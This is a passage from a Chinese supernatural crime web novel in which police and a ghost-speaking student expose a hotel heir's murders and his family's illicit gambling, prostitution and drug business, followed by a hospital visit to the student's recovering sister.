顾健的眼睛里没有丝毫的温度，只有无尽的冷漠和残忍，就像一条隐藏在黑暗中的毒蛇，静静地蛰伏着，等待着最佳的时机发动致命一击，他的嘴角微微上扬，勾勒出一抹让人不寒而栗的笑容，仿佛在向林凌宣告着他的威胁：我绝对不会放过你们所有人！
217. 中断的线索
“顾健，你以为用这样的托词，就能逃避你做过的事情吗？”林凌微微眯起眼睛，声音里带着几分愠怒。
顾健却依旧不为所动，他看着林凌，眼神淡漠中带着几分无畏。
“警官，这不是很正常的吗？在这个AI滥用的时代，什么都可能是假的，照片可能是AI的，视频可能是AI的，更不用说这个没头没尾的录音了。”
“你……”
“如果你们真的有我杀人的证据，就拿出来，警官，这段录音，是无法作为呈堂证供的，虽然我不是读法律的，但是基础的法律尝试还是有的，这录音就算是真的，也是在偷录的情况下录制的，可能存在误导、诱导的嫌疑，法庭，不会承认的。”
顾健右手托着下巴，鄙夷地看着林凌。
“我知道你们着急，毕竟酒店的水箱里突然出现了一具尸体，现在舆论已经炸锅了，陵川市公安局急着找一个人背锅，这样的心情我能理解，但是警官，我可是一个良好市民啊，我的父亲，经营着世纪大酒店，世纪大酒店在陵川市的经济发展中是什么地位，应该不用我多说吧？每年上交的税款，是你们几辈子都赚不到的，哈哈哈，省省吧。”
“你以为水箱里的尸体跟你没关系吗？黎磊，是顾倩倩的前男友，他在顾倩倩头七的时候入住了顾倩倩的房间，又在几天之后莫名其妙地死了，顾健，这跟你们没关系？”
“当然跟我没关系。”顾健耸了耸肩，“警官，不要什么阿猫阿狗的死都算在我头上好吗？我根本不认识什么黎磊，也不知道顾倩倩的什么前男友，你也知道，我之前一直在国外，这两三年才回国的，顾倩倩和我，是完全没有交集的，她只不过是我爸出于好心认养的一个孤女，至于她的私生活，sorry，我没有那么多时间操心。”
“我们查了黎磊的通话记录，发现在他出事前三天，频繁联系过一个电话号码，很不巧，那个号码的前机主就是你。”
林凌说着，拿出一张通讯记录，摆在了顾健面前。
“不好意思，那个手机很早之前就丢了。”
“什么？”
“我说，手机丢了，至于后面被谁捡到了，怎么用，我怎么知道？我有很多手机，我也是过了好久才突然发现手机丢了，就去注销了机主。”
“你——”
顾健倾身，凑近了林凌的方向，狡黠地说道：“手机丢了的事情，不能怪我吧？警官，我也是受害者诶，有人拿了我的手机去联系什么乱七八糟的人，这可不能算在我头上吧？”
林凌咬着牙说道：“你真不要脸，顾健。”
“哈哈哈，承让承让，在这个世界上，只有不要脸，才能活得更好。”
“……”
两个小时之后，林凌走出了审讯室。
在走廊上，一个老警察正在教育沈聆和宋明夷。
“你们两个也太乱来了，就这么闯入顾家，你知道里面有多少保安吗？而且如果对方要追究的话，完全可以告你们非法入侵他人住宅！”
“对不起，我们知道错了。”
“是啊，警察叔叔，我们也是为了尽快破案，这才……”
老警察严肃地看着两个女孩子：“尽快破案就能不择手段吗？我告诉你们，你们这样拿到的证据也是不能用的！我们警察办案都是要按照流程、按照规矩办案的，不是什么手段都能用的！”
沈聆和宋明夷低着头，像极了被霜打的茄子。
“我……”
“对不起……”
林凌走上前，拍了拍老警察的肩膀：“老高，她们知道错了，我跟她们说吧。”
“你也是！林凌，你不是第一天当警察了，这两个女孩简直是‘惯犯’了，上次闯入新隆公寓面包店的也是她们俩吧？你作为朋友，得好好说一说她们，不要觉得这是什么好办法，她们这样，总有一天要出事的！”
老高说着，气呼呼地走开了。
林凌看着眼前两个女孩子，叹了口气。
沈聆瞧着林凌的脸色不是很好，小心翼翼地问道：“林警官，还是没有进度吗？”
林凌摇了摇头：“就像老高说的，你发给我的那段录音，是在偷录的情况下取到的，法庭不一定会认可这个证据，而且现在顾健一口咬定了这是AI的，我们会让技术科介入鉴定，但是可用性并不高。”
“那、那就没有其他证据了吗？”宋明夷追问，“那个房间里，全都是受害女孩的照片啊！我们亲眼看到的！我们可以作为人证！”
林凌遗憾地说：“我能理解你们的心情，但是你们这次也太乱来了，你们是进入了那个房间，也看到了一些照片，但是你们是非法入侵，你们的身份立场本就站不住脚，加上顾健在警方进入暗房之前已经烧掉了所有照片，清空了电脑文件，我们什么都没有找到。”
听到这里，宋明夷和沈聆全都陷入了沉默。
两个女孩的脸色都很难看。
一想到顾健那小人得志的表情，她们不由得气不打一处来。
“难道就这样放过他？”沈聆愤恨地说，“我们看到的那些照片，至少有三四十张，不知道有多少女孩子被他害了，甚至还有顾倩倩和黎磊的死！一定和他脱不了关系！”
“我们也知道和他有关，但是没有直接性的证据。”
宋明夷着急地问：“直接性的证据？林大哥，什么样的证据可以被说是‘直接性的证据’？”
“比如……直接录下了顾健迫害顾倩倩的录像，或者是能在顾健身上找到属于黎磊或者是顾倩倩留下的生物学痕迹。”
沈聆疑惑：“那顾倩倩和黎磊的尸体上没有找到线索吗？”
林凌摇头：“没有，顾倩倩的遗体已经处理了，她是一个月前割腕自杀的，而且她的养父就是顾六壬，作为死者的亲属，他有权安排尸体火化，在自杀发生的当天晚上，他就将尸体送到殡仪馆处理了，可以说是光速处理，也没有申请法医检验，因此我们没有什么有价值的线索。”
宋明夷一跺脚：“他们这
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是蛇鼠一窝！他就是在包庇自己的儿子！”
“是啊，但是我们没有证据。”
“那……黎磊呢？黎磊的尸体不是在水箱里找到了吗？”宋明夷用手比划了一个水箱的形状，“小聆聆还和黎磊对话过呢，他一定不是自己跳进去的吧？！”
沈聆摇了摇头，她记得自己当时看到的黎磊的灵魂，那状态，明显是有冤无处诉。
他还有话要说，有许多遗愿还要叮嘱沈聆，只不过，他不好直说，只能通过暗示的方式，引出了月酥堂的存在。
月酥堂？
沈聆突然想到这个甜品店，感觉到有点奇怪。
为什么偏偏是月酥堂呢？
难道仅仅只是因为顾倩倩生前喜欢吃这里的桃花酥吗？
还是说，黎磊有其他没有说出口的线索呢？
沈聆陷入了沉思。
“怎么了小聆聆？你在想什么呢？”宋明夷看沈聆似乎不在状态，摇了摇沈聆的身体。
沈聆回过神来，看向了宋明夷：“我在想的是……为什么是月酥堂呢？”
“什么？”
“根据目前的线索来看，在黎磊入住酒店之前，顾倩倩已经死了，可以说，在顾倩倩死之前，都没有见到过黎磊。而且按照两人的往事来看，顾倩倩明显是躲着黎磊的，她在死前应该不会发信息给黎磊，毕竟她已经把黎磊的所有通讯方式都拉黑了，恨不得离他远远的。”
“那又如何？”
“所以，黎磊如果有什么和顾倩倩有关的线索，应该是在入住世纪大酒店之后发现的。他在顾倩倩死后第七天，入住了1808号房，一定发现了什么线索，而且，顾健很可能也知道这条线索，这才对黎磊下手，灭口。”
“可是，就算有什么线索，现在应该也不存在了。”林凌沉声说道，“这个酒店都是顾六壬的势力范围，为了维护自己的独子，他一定会对1808进行全面翻查、清洗，我们之前去检查1808号房，并没有发现有价值的线索，鲁米诺试剂也没有检测出房间里的血迹，很可能已经用各种消毒液进行过全方面的消毒了。”
“那……卫生间呢？”
“卫生间？”
“对。”沈聆点了点头，“顾倩倩表面上是在浴缸里割腕自杀身亡的，顾六壬这么谨慎的人，一定不会太过处理卫生间，因为卫生间里的血液痕迹都清理掉，无形中就证明了顾倩倩的死亡有异，他一定不会太仔细清理卫生间，我想，那里应该能留下什么线索……而且，我怀疑顾健就是在卫生间里杀死顾倩倩的。”
宋明夷歪了歪头：“你怎么知道？”
沈聆低下头，想起了自己在幻境中经历的一切。
每一次幻境的循环，都是从卫生间开始的。
那个红衣女人，总是对着镜子化妆。
那白色的骷髅女，对着镜子梳着头发的样子，她这辈子都不会忘记。
“……镜子，镜子上说不定有什么线索，那可能是顾倩倩未说出口的话。”
218. 犯罪巢穴
从陵川市公安局出来之后，沈聆接到了月酥堂老板的电话。
老板说，桃花酥已经做好了，可以去拿了。
宋明夷暂时回平安医院继续上班，而沈聆去了一趟月酥堂。
月酥堂的老板说，因为这个甜品许久不做，光是找到以前的模具都花了好一番时间，并且找到从前的配方，经过几次尝试，才还原出了以前的味道。
沈聆在接过那盒桃花酥的时候，目光被它独特的外形所吸引。
——这盒桃花酥被制作成了桃花的形状，每一片花瓣都栩栩如生，仿佛刚刚从桃树上采摘下来一般，花瓣的颜色娇艳欲滴，如同一抹春天的朝霞，而下面的用深绿色的纸张铺垫着，让人不禁想起那盛开的桃花林。
更令人惊艳的是，这些花瓣不仅形状逼真，而且还染上了淡淡的粉色，就像是真的桃花一样，这种细腻的色彩处理，使得整个桃花酥看起来更加逼真，仿佛它本身就是一朵盛开的桃花。
最后，月酥堂的老板还在这桃花酥上撒上了一层细细的白糖，犹如清晨的露珠，点缀在花瓣上，更增添了几分甜美和诱人的气息，白糖的颗粒在阳光的照耀下闪闪发光，宛如珍珠般晶莹剔透，让人看了就忍不住想要咬上一口。
桃花酥是两个一盒装的，老板另外给了一个给沈聆品尝，这桃花酥吃起来甜甜的，清甜的味道就像是将桃花的花瓣含在了口中，入口即化，清新而不甜腻，像极了风吹过春天的花圃的味道。
“好吃诶！”
老板一笑：“这桃花酥很适合女孩子喜欢甜口的爱好，并且用的是木糖醇，除了上面撒了点白糖外，不会有太多的热量，能够很好地迎合当下女孩子的口味，当时一经推出就广受好评……当然了，这也是倩倩的想法，这桃花的形状也是她画的。”
“她画的？”
“对，当时她画了一个图纸给我，说可以按照这个做个甜品，我看着感觉不错，就采用了。”老板一拍脑袋，“对了，你稍等一下，我还留着当时她画图纸，我给你拿。”
老板说着，转身走向了月酥堂的办公室。
沈聆看着月酥堂老板的背影，陷入了沉思。
顾倩倩真的如调查证词所说的那样不堪吗？如果真的是一个拜金女，为什么愿意在老板人生低谷的时候拉一把这个素不相识的人呢？
从和月酥堂老板的接触来看，他很愿意帮顾倩倩洗刷冤屈。
从这一点来看，在老板的视角，顾倩倩是个好人，是一个乐于助人的女孩子。
沈聆感觉到当前对顾倩倩的印象有点儿割裂。
一方面，从林凌反馈的调查结果来看，顾倩倩是一个拜高踩低的人，并且利用黎磊，只是为了过上更奢侈的生活，玩弄感情，生活糜烂，怎么说都和好女孩挂不上边。
另一方面，从和月酥堂老板的接触来看，顾倩倩却又是一个乐观开朗、乐于助人的好女孩，她愿意对陌生人分享自己的善意，帮助月酥堂走出一条特色的转型路线。
到底，哪一种才是真的？
又或者，这就是同一个人身上的不同面。
人都是有多种面孔的。
在沈聆沉思之时，月酥堂的老板已经找到了之前顾倩倩送的图纸。
他小心翼翼地捧着那张图纸，仿佛它是一件珍贵的宝物一般，缓缓地走到沈聆面前。沈聆定睛一看，只见那张图纸已经微微泛黄，透露出岁月的痕迹。
图纸上，用铅笔画着一朵精致的桃花形状，线条细腻而流畅，仿佛是由一位技艺高超的画家精心描绘而成。
然而，由于时间的推移，纸张已经出现了褶皱，不再平整，这使得桃花的轮廓在某些地方略显模糊。
沈聆仔细端详着这张图纸，不禁被它所吸引。
她注意到，从纸张的材质来看，这显然是一张有些年头的老纸了，它的质地略显粗糙，颜色也有些黯淡，但正是这种历经沧桑的感觉，给这张图纸增添了一份独特的韵味。
沈聆接过这张纸，发现上面有一些特殊的褶皱痕迹。
这痕迹看起来就像是儿时玩叠纸后，拆开叠纸留下的痕迹。
她感觉到那痕迹很熟悉，顺着那痕迹将这张纸重新叠了起来，发现是一个七巧板的形状，仔细一摸后发现，上面有一些细小的凹痕。
沈聆突然想到了什么，忙抬起头看向月酥堂老板：“老板，你们有铅笔吗？”
“铅笔？”
“对，我怀疑……顾倩倩有一些信息留给了您，认为您是为数不多的可以信任的人。”
“有、有的，我去给你找……”
不多时，月酥堂老板找到了一根铅笔，沈聆将铅笔在折好的七巧板上涂了一层，发现上面依稀有些字迹。
将叠纸斜着角度看去，那是简单的几个字：陆前站，存储柜，七号，1228。
……
林凌带着物证鉴定科的工作人员回到了1808号房间。
这一次，他重点让鉴定科的工作人员检查1808号房的卫生间。
经过详细的排查，工作人员在镜子的边缘的后侧面，发现了残留的血迹，经过和酒店工作人员以及一个月以来1808号入住人员的DNA比对后，确认不属于任何工作人员及入住人员，那么这个血迹的来源，只可能是顾倩倩本人。
按照酒店的说法，顾倩倩是在浴缸里割腕自杀的。
她割腕后，将手腕放在了温水里，逐渐平静地睡去。
而按照这个说法，玻璃镜后是不会有喷溅血迹的。
这个血迹，便是此案的转折点。
在这之前，所有推测都是纸上谈兵，而血迹的发现，直接让此案有了实质性的转折。
林凌请来了血迹专家对进行模拟测试，证实了要造成这样血迹痕迹的情况，很可能是受害人在镜子前被凶手从后割喉，从而引起了喷溅状血迹，在作案后，有人用清洁剂洗掉了大部分血迹，但残留在镜子下缘的血迹变成了铁证。
世纪大酒店，因此被
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列入调查重点。
酒店所有保洁人员全都一一被谈话询问，多轮审讯下来，保洁人员证词中出现了不匹配情况。
此外，林凌调查了这一个月来世纪大酒店的员工雇佣情况，在这一个月中，光是保洁人员便被开除了十个之多，在被解雇之前，这些人的银行卡上莫名其妙地多了上万元的转账记录，随后在辞职后便销声匿迹。
这些人，也成为了警方追查的重点。
联合各地警方的协同调查，陆续找到了被世纪大酒店开除的保洁人员，有些保洁人员在看到警察上门时，便扑通地跪在了地上，声称自己一定会配合警方的调查，希望能减轻罪孽。
经过多名警察彻夜审讯后发现，整个世纪大酒店，像是顾六壬的掌中世界。
准确地说，是一个综合性犯罪场所。
所有工作人员，只有听从顾六壬的命令，才能继续工作下去，否则，甚至连人身安全都成问题，曾经也有一些胆大的员工忤逆顾六壬的命令，但那些人总是在一个星期不到便莫名其妙地失踪、销号，从那时候开始，所有员工便笼罩在顾六壬的阴影之下。
根据酒店工作人员透露，世纪大酒店真正的恐怖之处在于，顾六壬经营的，不仅仅是酒店生意。
表面上，这是一个奢华的酒店。
实际上，这里还兼顾着其他黄赌毒的生意。
这里就像是一个发酵、滋生罪恶的温室，金钱在这里如同雪球一样越滚越大，而带来的巨大经济利润，便收入了梁氏集团和顾家的囊中。
事情查到这里时，这件事情便不止是杀人案这么简单了。
林凌查到了世纪大酒店的地下赌场，以及一系列产业链，他们以奢华的装饰格调粉饰着贪欲，吸引全国各地的人在此消费，在这里，只要花钱，就能体验到“人间至乐”，所谓挥金如土，在这里也只不过是最寻常的事情。
有人一夜之间输掉了上千万，也有人一夜之间实现了阶级跨越。
在地下赌场尽兴之后，便会由顾六壬的助理——小赵，安排一些类高档“特殊消费”，根据在赌场的消费程度不同，提供不同的服务内容，从而让远道而来的客人增加满足于酒店的服务，增加回头客的可能。
而酒店里，还有许多“隐形”工作人员，并没有列入工作人员清单中，这些人以年轻貌美的女孩子居多，便是提供特殊服务的服务员。
在林凌惊叹于这个酒店的真面目时，沈聆打来了一通电话。
“喂？”
“林警官，是我，沈聆。我在月酥堂里找到了顾倩倩留下的图纸，根据图纸，我发现了一个被顾倩倩藏在地铁站储物柜里的录像带，我想，这个录像带应该能作为敲定顾健的直接性证据，如果可以的话，我现在就送来公安局。”
“你的意思是……”
沈聆的声音有点儿颤抖：“顾倩倩，在死前曾经偷拍过顾健欺辱自己的录像，我……我刚看完录像，这上面的内容，我想足以给顾健定罪。”
219. 黄金时代的终结
这一夜，顾六壬依旧坐在自己的办公室里。
他已经在这黑暗中坐了一夜，在他面前依旧放着一部手机。
手机一直处于开机状态，他坐在黑暗之中，就这么看着桌上的手机，似乎在等待谁的电话。
一直到下半夜，手机，突然响了。
顾六壬沉默了一下，接了电话。
他沉默着听着电话那头的人说话，一直到两三分钟之后，才长长地叹了口气。
“……我知道了，您放心，这件事情我会一个人扛下来，不会给梁氏集团带来任何负面影响。”
停顿了几秒后，他补充道。
“至于我家老爷子，还请您多多关照，他年事已高，有些事情，如果可以的话，希望不要让他知道。”
顾六壬的声音落在这一脉空气中，显得如此苍白无力。
他环顾着奢华的办公室，仿佛看见自己辛辛苦苦建起的高楼大厦即将在这一刻崩塌，可自己，却没有任何办法。
……
与此同时，在世纪大酒店的顶楼，沈聆完成了黎磊的嘱托。
夜色之中，天台空无一人。
沈聆坐在这一脉夜色之中，似乎也融入了这一片静谧和寂寞。
她再一次点燃了香，请来了黎磊的魂魄。
“你要我找的东西，我已经找到了，你放心吧，我已经把录像提交给了警方。”
“你是不是住在酒店的时候，看见了顾倩倩留下的线索？这才觉得顾倩倩的死有蹊跷？”
“你放心吧，这些线索我已经交给了警方，相信很快这些坏人就能绳之以法。”
“这是顾倩倩喜欢吃的桃花酥，如果你能看到的顾倩倩的话，将这东西也带一份给她吧。”
沈聆看着黎磊的魂魄，一字一句地说着。
黎磊似乎能听懂她的话，也默默注视着镜子里的她，一阴一阳的两个人，就这么四目相对。
在鎏金香炉旁边，放着从月酥堂拿回来的甜品。
她完成了阴魂的托付。
小镜子里，黎磊的魂魄逐渐变为半透明，一直到最后，如青烟一样消散。
他似乎已经没有了遗憾，在了结了自己在人世间的最后一桩心愿之后，奔向了自己的死亡。
在被注射致幻剂的那一刻，黎磊看到的是怎样的幻觉呢？
是顾倩倩的面容？
还是曾经和顾倩倩交往的岁月？
亦或者，是童年天真美好的回忆？
沈聆不知道。
如果可以的话，她希望在黎磊生命的最后几分钟里，因为致幻剂的原因，他至少是轻松一点离开的。
这人间，太苦了。
如果可以重来的话，他是否还会选择相同的道路，遇见相同的人呢？
沈聆沉默地坐在夜色之中，脑海中不由得想起自己在幻境中看到的那个红衣女子。
她很好奇，顾倩倩，真的解脱了吗？
她应该不会再被困在自己的幻境了吧。
如果知道世纪大酒店的阴谋已经告破，她是否也会觉得欣慰呢？
沈聆的视线停在眼前这面小镜子上，仿佛要透过那小小的镜面看到什么秘密一般。
突然间，她的心跳猛地加速，一种异样的感觉涌上心头。
“叮铃……”
红色手链上的银铃响了起来，这一刻，她觉得好像有什么东西在她身后轻轻飘过，那是一缕若有似无的红色轻烟。
一阵寒意窜上脊梁骨，沈聆的身体微微一颤，她的直觉告诉她，这绝对不是错觉。
她深吸一口气，缓缓转过头去，想要看清楚那缕轻烟究竟是什么，然而，当她的目光扫过身后时，却发现那里空无一物，什么都没有。
“是你吗？倩倩。”
只可惜，回应她的，只有无边的夜色。
或许，这寒意，是来自亡者的答复，又或许，这寒意，凝结着他们对人世间的遗憾。
可怜可悲的亡魂啊。
此生已了。
可往鬼门关投胎。
走过了阴阳桥，喝下了孟婆汤，将这一世的苦难全都忘记吧。
……
接下来的几天，警方的办案速度，比预想之中更快一点。
在案情转折点的这一时间点，沈聆提供了一个至关重要的证据。
证据存在一个小小的U盘里，里面是一段录像。
内容是顾健带着顾倩倩到世纪大酒店1808号房间欺辱的内容。
顾倩倩无力反抗，画面是偷拍的，看着偷拍的摄像头应该是放在桌面上的盆栽后，并通过盆栽的叶子间拍到了这些画面。
录像的内容还附带了音频，音频的内容是顾健对顾倩倩的打骂。
【婊子！】
【你是我爸养着的一个附属品，你就是我们顾家的一条狗，你觉得我没有处置一条狗的权利吗？！】
【你最好给我老老实实的，惹了我，我杀了你！】
视频的内容不堪入目，打骂之外，更有人格侮辱。
顾倩倩是一个弱不禁风的女孩子，哪里经得起男人的拳头？几拳下去便头昏眼花，任人处置。
事后，顾健甚至拿出了自己的照相机，对着顾倩倩拍下了许多照片。
他满意地看着照片上的顾倩倩，似乎在欣赏自己的杰作。
那表情，甚至以此为乐。
录像到此，便戛然而止。
可以知道的是，顾健并不是第一次对顾倩倩做这些事情了。
出于无奈，顾倩倩只能顺从，可没想到对方的暴力行为一次一次升级，哪怕无法直接证明杀死顾倩倩的是顾健，这视频也足以说明顾健的恶性。
警方连夜对顾健进行传讯，在视频面前，他无从抵赖。
此外，警方在解剖黎磊尸体的时候，发现黎磊尸体里残留有致幻剂的成分，后经搜查，在顾健的房间里找到了此类致幻剂。
顺藤摸瓜，警方查到了顾健贩毒吸毒的证据。
原来世纪大酒店甚至也是贩毒链中的一环，自从顾健回国之后，便增加了世纪大酒店的“隐性服务内容”，为前来赌博的旅客提供更加隐秘的“服务”，他们就是用这样的方法，让旅客“流连忘返”。<
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p>在搜查顾家的时候，警方找到了那辆红色敞篷车，并在车库的一辆轿车的后备箱里发现了黎磊的生物学痕迹，在轿车的后备箱垫子下，找到了已经干了的黎磊的血迹。
在这件事情上，他无从抵赖，只得老老实实交代了自己将致幻剂注射在李磊身体里、绑架折磨黎磊、用轿车将黎磊送回了世纪大酒店后丢入水箱溺死黎磊的事实。
杀人、贩毒等证据，足以盯牢他的死刑。
黎磊用自己的生命，帮顾倩倩讨回了公道。
而黎磊，原本只是一个衣食无忧的公子哥，安逸的生活过久了，便想尝试新的刺激，在无所畏惧的心态之下，人命，在他看来也不过是轻如鸿毛的存在罢了。
他咬着牙沉默着，只是扭过头去，不愿意面对自己将要判刑的事实，但在铁证如山面前，他也毫无办法。
不出五日，证据链便已经完整。
警方正式逮捕涉案人员，并在官网上发布案情公告。
至此，世纪大酒店的案子算是有了一个结论。
而在东窗事发后，世纪大酒店被查封，世纪大酒店背后的梁氏集团也成为警方重点关注的对象。
只不过，梁氏集团的账目做得很好，虽然与世纪大酒店有经济上的往来，但并没有留下直接证据能够证明这一切是梁氏集团的指使。
顾六壬一个人将所有的罪名全背了下来，美其名曰“想增加酒店的收入”，并表示梁氏集团并不知情，只是每个月上交相应的营业额提成罢了。
由于缺乏证据，警方暂时无法对梁氏集团定罪，只能将梁氏集团列入重点监测对象之中，只要梁氏集团在接下来的业务中存在任何弊病不足，警方都将追寻蛛丝马迹，对这个集团进行搜查。
……
在案情公开结束之后。
宋明夷对这次的调查素材进行了整理，并做了一期专题曝光视频。
视频的内容，以顾倩倩和那些受害女孩视角，解读了她们被富家少爷迫害并偷拍照片的事情，从女性的角度解读了当下独居女性、年轻女性在社会生活中可能存在的风险，提醒广大女性不要被金钱蒙蔽了双眼，在和他人相处的过程中，也不可太过放下警惕，以免后悔莫及。
视频一经播出，引起了广泛的讨论。
网友纷纷在视频下留言自己曾经吃过的亏，例如，在酒吧里喝了他人递过来的饮料，第二天醒来看后发现在某个酒店；例如，在深夜下班之后，被某个男人跟踪尾随回家的经历；又例如，自己的某个富家少爷曾经在聚会中对交往过的女性评头论足，说起这些女性的时候就如同在评价某个廉价的商品。
一时间，女性如何更好地保护自己，成为了网友关注的话题。
官网也转发了宋明夷的视频，提醒女性朋友们防人之心不可无，在这个鱼龙混杂的社会中，不可对他人过分信任，也不可将身体当做可以交易的筹码，从而后悔莫及。
宋明夷做到了自己的承诺，作为一名媒体人，对丑陋之事曝光，警醒世人，劝诫世人。
世纪大酒店，也在这样的舆论氛围下，结束了属于它的黄金时代。
220. 梁森
晨光像被纱布滤过的蜂蜜，从百叶窗缝隙里缓缓淌进来，在金属护栏上凝成细细的金线。
病房里，仪器的滴答声混着远处护士站偶尔传来的键盘敲击，编织成病房特有的白噪音。
病床上的被子隆起高低不一的弧度，有人裹着毯子蜷成虾米，有人半倚着枕头盯着窗外，晨雾在玻璃上晕开的水渍，倒映着输液管里慢慢下坠的药液，一滴，又一滴。
“这么说……世纪大酒店，关门了？”
沈凝坐在床上，背靠着枕头，看着坐在面前的沈聆。
“对。”沈聆点了点头，伸出手，理了理沈凝的病号服。
沈凝蜷缩在靠窗的病床上，宛如一株被暴风雨折损的孱弱茉莉。
她凹陷而苍白的小脸，像是被抽走了所有生机的宣纸，褶皱里藏着痛苦的纹路。
曾经一头乌黑浓密的秀发，因颅脑外科手术消失不见，此刻头上裹着层层叠叠的纱布，像裹着一座伤痕累累的城堡，那是与死神博弈留下的印记。
脑部尚未消退的水肿，让她的眼睛微微外凸，如同浸泡过久的玻璃珠，黯淡无光，看人时总带着挥之不去的疲惫，仿佛承载了太多生命难以承受之重。
她说话的声音懒散沙哑，像是老旧风箱发出的呜咽，每一个字都要耗尽全身力气。
但幸运的是，她熬过了最危险的时刻，从ICU转入了这间可探视的病房，就像一只在惊涛骇浪中挣扎许久的小船，终于驶入了相对平静的港湾，虽仍脆弱不堪，却有了重获新生的希望。
医生说，沈凝的病情好多了。
不，应该说是有了突破性的进展。
就像是开了挂一样，自从苏醒之后，沈凝的身体表现出超常的恢复能力，她的身体宛如雨后破土的春笋一般，身体的细胞表现出旺盛的活力，加速恢复着，肌肉、骨骼似乎都在快速生长，身体的各项指标也在逐渐趋近于正常。
这样的医学奇迹令医生惊叹。
许多医生围着沈凝检查了一圈，却并没有发现导致这一快速复苏现象的原因。
因此，他们也只能把这一切归因于……年轻的身体，恢复速度比常人更快。
是啊。
当这一切超过了现有科学的认知水平，人们也就只能把这一切归咎于“神迹”了。
“那……姐姐，这么说，这段时间都是你在做阴厨的工作？”
“对。”
沈聆已经将这段时间发生一切，包括阴厨、灵元草等，如数告诉了沈凝。
沈凝虽然半信半疑地听着，但当隐隐约约看到姐姐胸口处莹绿色的光、以及姐妹二人手上红色的绳子时，仍旧是选择了相信。
“那么说，是灵元草帮我恢复的？”
“我想应该是的，灵元草虽然在我身上，但是我们通过这手绳共命，灵元草的力量也能传递给你，所以你才恢复得这么快。”
“但是……姐姐，我感觉阴厨这个工作很危险。”沈凝叹了口气，“如果外婆说的是真的，妈妈她……就是因为没做好这工作才出事的，我很担心你，姐姐，刚才听了你的事情，还有那个……阴神，她现在尚且不知所踪，万一她怀恨在心，报复你，怎么办？”
“这个……走一步看一步吧。”沈聆低下头，喃喃，“当时为了救你，我没有别的选择，小凝，爸妈已经走了，我不允许你再出事，现在你好不容易醒过来，恢复情况也很好，我相信情况正在一点点好转，再给姐姐一点时间，等姐姐攒到更多的阴德，你就会完全康复的。”
“可是，这份工作风险太大了，姐姐，你现在不是高三吗？你当阴厨之后，还有时间学习吗？”
“这个你不用担心，我还是有完成学校的作业的，就是请假的时间比较多，不过学校也体谅，老师说，只要我考试成绩不要有太大的波动，允许我请假的，毕竟，我还有个妹妹在住院，学校也会考虑更多的人文关怀因素。”
“这样……”沈凝点了点头，仍旧是不放心地看着姐姐，“那你一定要注意安全，姐姐，阴间的亡魂，很危险，虽然你身上有灵元草的保护，但灵元草同样也会带来更大的危险。”
“嗯，好。”
“如果可以的话，等我恢复之后，你就卸任阴厨，可以吗？”
“……这个，估计是不行的。”沈聆长叹，“我曾经听外婆说过，妈妈就是因为不想继续当阴厨，才遭到了反噬……做这一行的，不是说卸任就能卸任的，我想，除非像外婆这种做了一辈子阴厨，并顺利找到下一任继承人，才能完全脱手，否则，在没有找到继承人之前就‘擅离职守’，是会被‘因果报应’所牵累的。”
听到这里，沈凝的脸色凝重了几分。
她从未想过，在自己昏迷的这段时间里，竟然发生了这么多的事情。
在她看来，她只是睡了一觉，一个很长的觉，但是ICU外已经发生了天翻地覆的改变。
她的记忆仍旧停在昏迷之前，自己坐在车里和爸爸妈妈说说笑笑的画面，她还记得爸爸妈妈说话的声音语调，还记得他们嘱咐她要认真学习，还记得他们三个正驱车前往陵川一中接姐姐……
但是在一阵刺耳的刹车声后，这一切全都陷入了一片黑暗和死寂之中。
她在黑暗之中等了很久很久。
再一次睁开眼睛的时候，发现自己正浑身插着管子，躺在ICU里。
姐姐被迫成为阴厨，爸爸妈妈去世，年迈的外婆拉扯着两个外孙女……
生活在那一刻发生了令人难以接受的改变。
她躺在床上，肌肉因为长时间没有活动而萎缩，她感觉到浑身酸痛，身体因各种手术而被切开了许多口子，那些被缝合的伤口仍旧在疼痛着，这疼痛的感觉似乎在提醒她这一切都是真实存在的。
沈凝轻轻地叹息了一声，仿佛整个世界都在这一刻为她而沉默，那声叹息中，蕴含着无尽的惆怅和无奈。
“对不起，姐姐，我连累你了。”
“说什么傻话，我们是姐妹，没有什么连累不连累的话。”沈聆伸出手，摸了摸沈凝的脸。
她的小脸冰冰凉凉的，从沈聆手掌心传来的温度，正暖暖地传递给沈凝。
“放心吧，从出生那一刻起，姐姐就是要照顾你的，无论在什么时候，姐姐都不会放弃你。”<
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p>“嗯，但是姐姐，你也要答应我，你一定一定要小心，千万不要擅自做危险的事情！”
“放心吧，我们现在共命，姐姐也会因为你爱惜自己的。”
“好。”
……
在离开沈凝的病房后，沈聆心事重重地往走廊另一头走去。
她感到既庆幸，又后怕。
她庆幸的是，妹妹的病情有了好转，从刚开始在ICU里命悬一线的模样，到现在已经可以和她说话了，这一切，可以说是上天的恩赐。
她害怕的是，自己差一点就失去沈凝了。
如果自己没有按照外婆说的接任阴厨，如果自己没有阴差阳错成为灵元草的主人，沈凝不可能恢复得那么快，这一切似乎就像是冥冥之中注定的一般，她莽撞前行的同时，却也有福报在回馈着她。
或许，这一切真的是因果循环。
好心有好报，她在全力超度亡魂、满足亡魂心愿的同时，积攒下的阴德福报正以另一种方式回馈着她。
就在沈聆沉默着转过转角的时候，迎面遇上一个人。
“……请问，您是沈凝的姐姐吗？”
听到这声音，沈聆停下脚步，抬起头定睛一看，发现那是一个初中生小男孩。
他的面容清俊无比，犹如精雕细琢的艺术品一般，那张脸庞虽然尚未完全褪去孩童的稚气，但已经初显棱角分明，轮廓清晰，尤其是那一双眼睛，深邃而明亮，宛如夜空中的繁星，熠熠生辉，然而，与他那略显稚嫩的面容形成鲜明对比的是，这双眼睛里却透露出几分超乎年龄的肃然和沉静。
“你是……”沈聆皱起眉头，只感觉到这个初中生似乎很眼熟，特别是那张脸的轮廓，和自己认识的某个人似乎很像。
“您好，我是沈凝的同学，我叫梁森。”小男孩彬彬有礼地回答，“我曾经在病房外看过您，您和沈凝长得很像，所以我猜测，您应该是沈凝的姐姐。”
他明明还只是一个初中生而已，按常理来说，这个年龄段的孩子应该是天真无邪、充满童趣的，然而，令人惊讶的是，他说话的语气和用词却完全不像一个孩子，反倒更像是一个历经世事的成年人。
“梁森？”沈聆眨了眨眼睛，突然一个熟悉的面容浮现在脑海中。
小男孩似乎看出了沈聆的想法，微笑着回答道：“我的哥哥，叫梁林，听说，和您是同班同学，您应该就是沈凝的姐姐，沈聆吧？”
“啊你……你是梁林的弟弟？！”
“是的，很荣幸认识您，我叫梁森，听说沈凝已经从ICU转出，特地来看望她，沈凝她还好吗？”
